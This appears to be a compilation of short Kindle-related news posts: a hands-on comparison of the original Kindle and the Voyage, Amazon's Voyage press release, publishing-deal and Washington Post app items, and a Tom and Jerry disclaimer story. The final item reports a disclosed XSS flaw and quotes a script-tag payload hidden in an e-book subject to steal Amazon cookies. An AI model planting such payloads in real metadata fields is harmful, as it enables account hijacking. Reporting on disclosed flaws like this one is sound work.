Jason Weisberger finally upgraded. Did seven years make much difference? The answer will probably not surprise you, but the details might.

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Facing off Amazon’s latest and greatest single purpose reading device, the Kindle Voyage, to their last generation Paperwhite seemed like a waste of your and my time. Every single review tells you its a nice upgrade, but perhaps one not worth the money. The Voyage, in form factor, most reminded me of the original Kindle. The strangely angular case design looked derivative. Luckily, I just happened to have one here…

Rob described the original Kindle as “looking like wadded up cardboard” and I think he may be right. Before I’d even recharged the device and powered it on, I marveled at the insane shape Amazon felt was going to be most pleasing and book-like to the user. I remember being put off by the design when I first saw it, but I’ve actually missed it. OG Kindle did feel more like the bend of pages when holding a paperback sized book than any of the sterile, rounded Kindle’s since. The Voyage backplate sports similar angling and ridging. It fits the hand in a similar manner, even the Amazon Origami case attempts to translate that tactile feel. I quite like it but actually still feel original Kindle maintains the edge over all other e-readers for actual book-in-hand-ness.

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Screen is simply no contest. The new Voyage is lightning quick, shows almost no ghosting and the matte glass front does stay unsmudged, far longer. The OG Kindle’s screen is slow and ghosts a lot. The resolution would never be an issue, for me at the font sizes I read at, but seeing them next to each other its just unfair.

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Reading is better on the Voyage. Unsurprisingly I like having a better screen, and the self adjusting front light is a dream. Voyage is a better reading device in all lighting conditions. The self-adjusting light is a dream, even nicer than the Paperwhite. The OG Kindle was a first gen device, this is the primary function of the product line at Amazon and they’ve made HUGE improvements. The Voyage is great in direct sun and lights out situations. Years back I retired the OG Kindle for an iPad with the Kindle app purely for the backlighting at night, it made reading outdoors impossible.

In 2007, when the company first unveiled its e-reader, the device was an expensive ugly duckling whose future looked marginal at best. The first Kindle, which sold for $400 and was made by a company that had no track record in hardware, had a lot to overcome: the reluctance of the book industry to change its business model, the sentimentality of readers for the printed book, and its egregious industrial design, which looked like the product of the Soviet space program.

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Now, with its newest Kindle, the Voyage, Amazon is refining its e-reader once more. The Voyage’s main trick is a high-resolution display that mimics the look of a printed page. Text on its screen appears at a resolution of 300 pixels an inch, which is on par with the high-resolution displays now found on most of our other mobile devices.

Compared with previous Kindles, text on the Kindle Voyage appears both sharper and in starker relief against the background. Graphics, like charts and graphs, look just as clear as they do in any black-and-white book.

The effect is beguiling. If you look at the new Kindle for any stretch of time, you don’t just forget that you’re reading an e-book; you forget that you’re using any kind of electronic device at all.

Amazon says the Voyage offers a better approximation of print than has ever been available on an e-reader, but for me, it’s far better than that. It offers the visual clarity of printed text with the flexibility of an electronic device.

Given that combination, the Voyage functions as something like the executioner of the trusty old hardcover.

Viewers may now be thinking twice before they click “play” on the classic Warner Bros. cartoon, Tom and Jerry.

Amazon Prime Instant and iTunes have posted a disclaimer that warns users that the cat-and-mouse shorts, which ran from 1940 to 1957, “may depict some ethnic and racial prejudices that were once commonplace in American society.”

The warning continues: “Such depictions were wrong then and are wrong today.”

I have a confession to make. This is so before my time that when I first read the headline (in a different publication) I thought it was because it was a cat and a mouse… living together in sin…

Bookmate, which is primarily focused on Russia and ebook markets in eastern Europe, will now be able to offer its 1.5 million users ebooks published by HC. No one is talking specifics on the numbers, but the press release does say that “books by hundreds of authors, including CS Lewis are included in the deal”.

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But I will note that Bookmate has a deal which Amazon has not yet secured for Kindle Unlimited. Following the deal between S&S and Denmark-based Mofibo, this is the second time in only a couple weeks that a smaller ebook subscription service scored a contract with a major US trade publisher which Amazon could not get.

The Washington Post, the paper of record for political happenings in the US and beyond, has decided to launch a news application that will appear on the next generation of Amazon Kindle Fire tablets.The move marks the first time that the Washington Post and Amazon have directly interacted since Amazon CEO Jeff Bezos purchased the newspaper for $25 million in cash last year. The application, which is part of a new “Project Rainbow” initiative at the Post, is expected to appear first on the 8.9-inch Kindle Fire, according to Bloomberg who first reported the news.

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It’ll be interesting to see if people respond to reading the Post on this new format, especially when there are so many other options available for getting a daily dose of political news. Not only is there a plethora of news organizations willing to offer up their news coverage for free, but also there are plenty of digital magazine apps vying for consumer attention (Pulse, Flipboard, Zite, and News360, to name a few).

If you check on the Kindle Voyage page, you’ll discover that you are limited to purchasing two and Amazon is so backlogged with orders, you’ll have to wait until the week of November 23 to receive yours.

Amazon today introduced the 7th generation of Kindle: Kindle Voyage, our most advanced e-reader ever, and the new $79 Kindle, with a 20% faster processor, twice the storage, and now with a touch interface. Meet the new Kindle and Kindle Voyage at www.amazon.com/kindle-voyage.

“Our mission with Kindle is to make the device disappear, so you can lose yourself in the author’s world,” said Jeff Bezos,Amazon.com Founder and CEO. “Kindle Voyage is the next big step in this mission. With the thinnest design, highest resolution and highest contrast display, reimagined page turns, and all of the features that readers love about Kindle—books in seconds, no eyestrain or glare, readability in bright sunlight, and battery life measured in weeks, not hours—Kindle Voyage is crafted from the ground up for readers.”

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Kindle Voyage uses a brand new Paperwhite display, with the highest resolution, highest contrast, and highest brightness of any Kindle. With 300 pixels per inch, the new Paperwhite display delivers laser-quality text and images. The exclusive flush-front display stack uses specially strengthened glass, which is designed to resist scratches. Since regular glass would create glare, the cover glass on Kindle Voyage is micro-etched in order to diffuse light, ensuring you can read easily in bright light without glare. The etching pattern on the glass also serves to match the feel of paper.

Adaptive Front Light—Our Smartest Front Light

In addition to being our brightest front light ever—39% brighter—the new adaptive front light automatically adjusts the brightness of the display based on the surrounding light. And because not everyone has the same lighting preferences, the adaptive front light can be fine-tuned to your personal preference. Also, since the human eye adjusts to darkness over time, the light you need when you start reading in the dark will seem too bright 30 minutes later—the adaptive front light slowly lowers the display’s brightness over time to match the way the eye responds to darkness.

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Kindle—Now With Touch, Just $79

The all-new Kindle includes a 20% faster processor, twice the storage, and now features a touch interface and all of the latest features customers love about Kindle, including Kindle FreeTime, Goodreads, and Smart Lookup. The new Kindle is small, light, and portable—toss it in a beach bag or put it in a pocket to always have your reading with you.

Next time you come across a Kindle e-book link somewhere other than Amazon itself, you may want to make sure it’s not some dubious website before you hit download or “Send to Kindle.” A security researcher by the name of Benjamin Daniel Musser hasdiscovered that the “Manage Your Kindle” page contains a security hole — one that hackers can take advantage of with the help of e-books hiding malicious lines of code. Once you load the Kindle Library with a corrupted e-book (typically with a subject that includes <script src=”https://www.example.org/script.js”></script>), a hacker gets access to your cookies, and, hence, your Amazon account credentials.

Based on the updates Musser wrote at the bottom of the report’s web page, he first discovered the flaw in October last year. Amazon patched it up shortly after he reported it, but it made its way back after a “Manage Your Kindle” overhaul. Still, he believes the issue should be easy to avoid, so long as you don’t download e-books (pirated or otherwise) from websites you don’t know.